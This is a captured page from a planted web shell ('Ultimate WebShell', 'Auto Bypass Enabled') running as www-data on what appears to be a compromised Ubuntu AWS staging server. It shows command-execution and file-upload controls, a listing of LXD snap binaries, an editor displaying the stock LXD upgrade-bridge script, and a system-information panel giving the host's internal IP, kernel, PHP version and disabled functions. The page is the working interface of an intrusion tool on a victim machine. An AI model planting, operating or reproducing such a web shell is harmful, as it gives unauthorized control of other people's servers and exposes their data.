WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
snap
lxd
40111
bin
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-06-30 17:18:45
-
arptables-legacy
File
73.12 KB
0755
2019-12-05 09:19:42
btrfs
File
800.09 KB
0755
2020-02-15 15:52:17
btrfstune
File
427.53 KB
0755
2020-02-15 15:52:17
cache_check
File
1.29 MB
0755
2020-02-08 11:20:35
cache_dump
File
1.29 MB
0755
2020-02-08 11:20:35
cache_metadata_size
File
1.29 MB
0755
2020-02-08 11:20:35
cache_repair
File
1.29 MB
0755
2020-02-08 11:20:35
cache_restore
File
1.29 MB
0755
2020-02-08 11:20:35
cache_writeback
File
1.29 MB
0755
2020-02-08 11:20:35
ceph
File
44.61 KB
0755
2026-06-30 16:58:56
dmeventd
File
50.23 KB
0755
2020-02-13 21:21:51
dnsmasq
File
465.06 KB
0755
2026-04-29 18:59:58
ebtables-legacy
File
14.3 KB
0755
2020-02-08 10:58:04
editor
File
1.62 KB
0755
2026-06-30 15:38:49
era_check
File
1.29 MB
0755
2020-02-08 11:20:35
era_dump
File
1.29 MB
0755
2020-02-08 11:20:35
era_invalidate
File
1.29 MB
0755
2020-02-08 11:20:35
era_restore
File
1.29 MB
0755
2020-02-08 11:20:35
fusermount
File
38.23 KB
0755
2020-03-07 11:09:49
genisoimage
File
641.9 KB
0755
2020-02-18 06:56:30
getfattr
File
22.68 KB
0755
2019-09-24 02:17:57
iw
File
262.82 KB
0755
2019-12-08 11:11:08
logrotate
File
82.09 KB
0755
2019-01-21 10:11:39
lvchange
File
2.73 MB
0755
2020-02-13 21:21:51
lvconvert
File
2.73 MB
0755
2020-02-13 21:21:51
lvcreate
File
2.73 MB
0755
2020-02-13 21:21:51
lvdisplay
File
2.73 MB
0755
2020-02-13 21:21:51
lvextend
File
2.73 MB
0755
2020-02-13 21:21:51
lvm
File
2.73 MB
0755
2020-02-13 21:21:51
lvmconfig
File
2.73 MB
0755
2020-02-13 21:21:51
lvmdiskscan
File
2.73 MB
0755
2020-02-13 21:21:51
lvmsadc
File
2.73 MB
0755
2020-02-13 21:21:51
lvmsar
File
2.73 MB
0755
2020-02-13 21:21:51
lvreduce
File
2.73 MB
0755
2020-02-13 21:21:51
lvremove
File
2.73 MB
0755
2020-02-13 21:21:51
lvrename
File
2.73 MB
0755
2020-02-13 21:21:51
lvresize
File
2.73 MB
0755
2020-02-13 21:21:51
lvs
File
2.73 MB
0755
2020-02-13 21:21:51
lvscan
File
2.73 MB
0755
2020-02-13 21:21:51
lxc
File
12.46 MB
0755
2026-06-30 17:18:32
lxc-checkconfig
File
8.12 KB
0755
2026-06-30 15:47:05
lxc-to-lxd
File
18.34 MB
0755
2026-06-30 17:13:34
lxcfs
File
68.3 KB
0755
2026-06-30 17:00:11
lxd
File
26.89 MB
0755
2026-06-30 17:18:32
lxd-agent
File
10 MB
0755
2026-06-30 17:18:33
lxd-benchmark
File
10.28 MB
0755
2026-06-30 17:18:33
lxd-migrate
File
9.88 MB
0755
2026-06-30 17:18:33
lzma
File
78.5 KB
0755
2026-05-28 16:06:31
mkfs.btrfs
File
451.53 KB
0755
2020-02-15 15:52:17
mkfs.xfs
File
370.4 KB
0755
2024-10-17 05:32:23
mkisofs
File
641.9 KB
0755
2020-02-18 06:56:30
nano
File
312.63 KB
0755
2026-06-03 22:51:53
nasm
File
1.9 MB
0755
2026-06-30 15:42:58
nft
File
45.67 KB
0755
2026-06-30 17:15:04
nvidia-container-cli
File
93 B
0755
2026-06-30 17:00:35
nvidia-container-cli.real
File
54.51 KB
0755
2026-06-30 17:01:12
ovs-appctl
File
507.38 KB
0755
2026-06-30 17:02:01
ovs-vsctl
File
3.66 MB
0755
2026-06-30 17:02:02
ovs-vswitchd
File
4.73 MB
0755
2026-06-30 17:02:02
ovsdb-client
File
1.04 MB
0755
2026-06-30 17:02:02
ovsdb-server
File
1.04 MB
0755
2026-06-30 17:02:02
ovsdb-tool
File
999.92 KB
0755
2026-06-30 17:02:02
pdata_tools
File
1.29 MB
0755
2020-02-08 11:20:35
pigz
File
114.2 KB
0755
2017-12-27 19:41:06
pvchange
File
2.73 MB
0755
2020-02-13 21:21:51
pvck
File
2.73 MB
0755
2020-02-13 21:21:51
pvcreate
File
2.73 MB
0755
2020-02-13 21:21:51
pvdisplay
File
2.73 MB
0755
2020-02-13 21:21:51
pvmove
File
2.73 MB
0755
2020-02-13 21:21:51
pvremove
File
2.73 MB
0755
2020-02-13 21:21:51
pvresize
File
2.73 MB
0755
2020-02-13 21:21:51
pvs
File
2.73 MB
0755
2020-02-13 21:21:51
pvscan
File
2.73 MB
0755
2020-02-13 21:21:51
pzstd
File
682.46 KB
0755
2021-03-03 15:47:34
qemu-img
File
13.7 MB
0755
2026-06-30 16:56:41
qemu-system-x86_64
File
81.25 MB
0755
2026-06-30 16:57:19
rbd
File
2.84 MB
0755
2026-02-08 20:51:22
remote-viewer
File
1.44 KB
0755
2026-06-30 15:38:49
rsync
File
516.77 KB
0755
2026-06-11 16:30:13
setfacl
File
38.84 KB
0755
2020-03-01 01:06:51
setfattr
File
18.45 KB
0755
2019-09-24 02:17:57
setup-shmounts
File
21.86 KB
0755
2026-06-30 17:02:07
sgdisk
File
190.48 KB
0755
2020-02-20 09:44:58
snap-query
File
4.48 MB
0755
2026-06-30 17:18:33
sqfs2tar
File
60.86 KB
0755
2026-06-30 17:02:35
sqlite3
File
7.91 MB
0755
2026-06-30 15:42:13
tar2sqfs
File
92.27 KB
0755
2026-06-30 17:02:35
thin_check
File
1.29 MB
0755
2020-02-08 11:20:35
thin_delta
File
1.29 MB
0755
2020-02-08 11:20:35
thin_dump
File
1.29 MB
0755
2020-02-08 11:20:35
thin_ls
File
1.29 MB
0755
2020-02-08 11:20:35
thin_metadata_size
File
1.29 MB
0755
2020-02-08 11:20:35
thin_repair
File
1.29 MB
0755
2020-02-08 11:20:35
thin_restore
File
1.29 MB
0755
2020-02-08 11:20:35
thin_rmap
File
1.29 MB
0755
2020-02-08 11:20:35
thin_trim
File
1.29 MB
0755
2020-02-08 11:20:35
unsquashfs
File
112.12 KB
0755
2021-10-12 00:36:41
upgrade-bridge
File
4.93 KB
0755
2026-06-30 17:14:44
uuidgen
File
14.23 KB
0755
2026-03-06 16:20:35
vgcfgbackup
File
2.73 MB
0755
2020-02-13 21:21:51
vgcfgrestore
File
2.73 MB
0755
2020-02-13 21:21:51
vgchange
File
2.73 MB
0755
2020-02-13 21:21:51
vgck
File
2.73 MB
0755
2020-02-13 21:21:51
vgconvert
File
2.73 MB
0755
2020-02-13 21:21:51
vgcreate
File
2.73 MB
0755
2020-02-13 21:21:51
vgdisplay
File
2.73 MB
0755
2020-02-13 21:21:51
vgexport
File
2.73 MB
0755
2020-02-13 21:21:51
vgextend
File
2.73 MB
0755
2020-02-13 21:21:51
vgimport
File
2.73 MB
0755
2020-02-13 21:21:51
vgmerge
File
2.73 MB
0755
2020-02-13 21:21:51
vgmknodes
File
2.73 MB
0755
2020-02-13 21:21:51
vgreduce
File
2.73 MB
0755
2020-02-13 21:21:51
vgremove
File
2.73 MB
0755
2020-02-13 21:21:51
vgrename
File
2.73 MB
0755
2020-02-13 21:21:51
vgs
File
2.73 MB
0755
2020-02-13 21:21:51
vgscan
File
2.73 MB
0755
2020-02-13 21:21:51
vgsplit
File
2.73 MB
0755
2020-02-13 21:21:51
vim.tiny
File
1.29 MB
0755
2026-06-15 22:20:13
virtfs-proxy-helper
File
3.43 MB
0755
2026-06-30 16:55:18
virtiofsd
File
4.12 MB
0755
2026-06-30 16:57:19
xdelta3
File
150.3 KB
0755
2016-12-06 02:04:51
xfs_admin
File
1.38 KB
0755
2024-10-17 05:32:23
xfs_db
File
624.25 KB
0755
2024-10-17 05:32:23
xfs_growfs
File
38.3 KB
0755
2024-10-17 05:32:23
xfs_repair
File
567.3 KB
0755
2024-10-17 05:32:23
xz
File
78.5 KB
0755
2026-05-28 16:06:31
zstd
File
790.59 KB
0755
2021-03-03 15:47:34
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: upgrade-bridge
#!/bin/sh -e # Work from the snap export PATH=/snap/bin/:${PATH} export LANG=C.UTF-8 # Functions maskcidr() { local x=${1##*255.} set -- 0^^^128^192^224^240^248^252^254^ $(( (${#1} - ${#x})*2 )) ${x%%.*} x=${1%%$3*} echo $(( $2 + (${#x}/4) )) } # Skip if already converted if [ ! -e /etc/default/lxd-bridge ]; then echo "LXD bridge already converted" exit 0 fi # Source current configuration . /etc/default/lxd-bridge # Setup temporary config dir export LXD_CONF=$(mktemp -d) # Check if LXD is functional (chroot detection) if ! lxc info --force-local >/dev/null 2>&1; then echo "This system isn't running LXD, assuming stock configuration." mv /etc/default/lxd-bridge /etc/default/lxd-bridge.upgraded echo "Cleaning up lxd-bridge state files" rm -Rf /var/lib/lxd-bridge /run/lxd-bridge "${LXD_CONF}" exit 0 fi # Clear deprecated settings echo "Unsetting deprecated profile options" lxc profile unset default user.network_mode --force-local || true lxc profile unset default environment.http_proxy --force-local || true # Done for unconfigured bridges if [ "${USE_LXD_BRIDGE}" != "true" ] || [ -z "${LXD_BRIDGE}" ]; then echo "No bridge configuration to convert" mv /etc/default/lxd-bridge /etc/default/lxd-bridge.upgraded echo "Cleaning up lxd-bridge state files" rm -Rf /var/lib/lxd-bridge /run/lxd-bridge "${LXD_CONF}" exit 0 fi # Attempting to kill existing lxd-bridge echo "Attempting to kill current lxd-bridge" if [ -e "/run/systemd/system" ] && systemctl -q is-active lxd-bridge; then systemctl stop lxd-bridge || true fi if [ -e "/run/lxd-bridge/network_up" ] && [ -e "/usr/lib/lxd/lxd-bridge" ]; then /usr/lib/lxd/lxd-bridge stop || true fi if [ -e "/run/lxd-bridge/dnsmasq.pid" ]; then kill -9 "$(cat /run/lxd-bridge/dnsmasq.pid)" >/dev/null 2>&1 || true fi # Check if the bridge exists EXISTING=false if [ -e "/sys/class/net/${LXD_BRIDGE}" ]; then EXISTING=true fi # Check for stock installation if [ "${EXISTING}" = "false" ] && [ "$(md5sum /etc/default/lxd-bridge | cut -d' ' -f1)" = "e8cfb4997d9443fe48302bb75326b09f" ]; then echo "Stock LXD installation detected, resetting to new defaults" lxc profile device remove default eth0 --force-local >/dev/null 2>&1 || true mv /etc/default/lxd-bridge /etc/default/lxd-bridge.upgraded echo "Cleaning up lxd-bridge state files" rm -Rf /var/lib/lxd-bridge /run/lxd-bridge "${LXD_CONF}" exit 0 fi # Bring down and rename an existing bridge if [ "${EXISTING}" = "true" ]; then if [ -e "/sys/class/net/lxd-upgrade" ]; then ip link del lxd-upgrade fi echo "Bringing down and renaming existing bridge ${LXD_BRIDGE} to lxd-upgrade" ip link set "${LXD_BRIDGE}" down ip link set "${LXD_BRIDGE}" name lxd-upgrade fi # Define the bridge in LXD echo "Creating a new LXD bridge" if ! lxc network show "${LXD_BRIDGE}" >/dev/null 2>&1; then lxc network create "${LXD_BRIDGE}" ipv4.address=none ipv6.address=none dns.mode=dynamic --force-local fi # Move the old bridge into place if [ "${EXISTING}" = "true" ]; then echo "Moving the old bridge into place" [ -e "/sys/class/net/${LXD_BRIDGE}" ] && ip link del "${LXD_BRIDGE}" ip link set lxd-upgrade name "${LXD_BRIDGE}" up fi # Configure the bridge echo "Configuring the new LXD bridge" if [ -n "${LXD_CONFILE}" ] && [ -e "${LXD_CONFILE}" ]; then echo "Setting dnsmasq conf-file to ${LXD_CONFILE}" lxc network set "${LXD_BRIDGE}" raw.dnsmasq "conf-file=${LXD_CONFILE}" --force-local fi if [ "${LXD_DOMAIN}" != "lxd" ]; then echo "Setting DNS domain to ${LXD_DOMAIN}" lxc network set "${LXD_BRIDGE}" dns.domain "${LXD_DOMAIN}" --force-local fi if [ -n "${LXD_IPV4_ADDR}" ] && [ -n "${LXD_IPV4_NETMASK}" ]; then IPV4_CIDR="${LXD_IPV4_ADDR}/$(maskcidr "${LXD_IPV4_NETMASK}")" echo "Setting IPv4 network to ${IPV4_CIDR}" lxc network set "${LXD_BRIDGE}" ipv4.address "${IPV4_CIDR}" --force-local if [ -n "${LXD_IPV4_DHCP_RANGE}" ]; then IPV4_RANGE=$(echo "${LXD_IPV4_DHCP_RANGE}" | sed "s/,/-/") echo "Setting IPv4 DHCP range to ${IPV4_RANGE}" lxc network set "${LXD_BRIDGE}" ipv4.dhcp.ranges "${IPV4_RANGE}" --force-local fi if [ "${LXD_IPV4_NAT}" = "true" ]; then echo "Enabling IPv4 NAT" lxc network set "${LXD_BRIDGE}" ipv4.nat true --force-local fi fi if [ -e /proc/sys/net/ipv6 ] && [ -n "${LXD_IPV6_ADDR}" ] && [ -n "${LXD_IPV6_MASK}" ]; then IPV6_CIDR="${LXD_IPV6_ADDR}/${LXD_IPV6_MASK}" echo "Setting IPv6 network to ${IPV6_CIDR}" lxc network set "${LXD_BRIDGE}" ipv6.address "${IPV6_CIDR}" --force-local if [ "${LXD_IPV6_NAT}" = "true" ]; then echo "Enabling IPv6 NAT" lxc network set "${LXD_BRIDGE}" ipv6.nat true --force-local fi fi echo "Done converting your bridge, renaming old configuration" mv /etc/default/lxd-bridge /etc/default/lxd-bridge.upgraded echo "Cleaning up lxd-bridge state files" rm -Rf /var/lib/lxd-bridge /run/lxd-bridge "${LXD_CONF}"
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED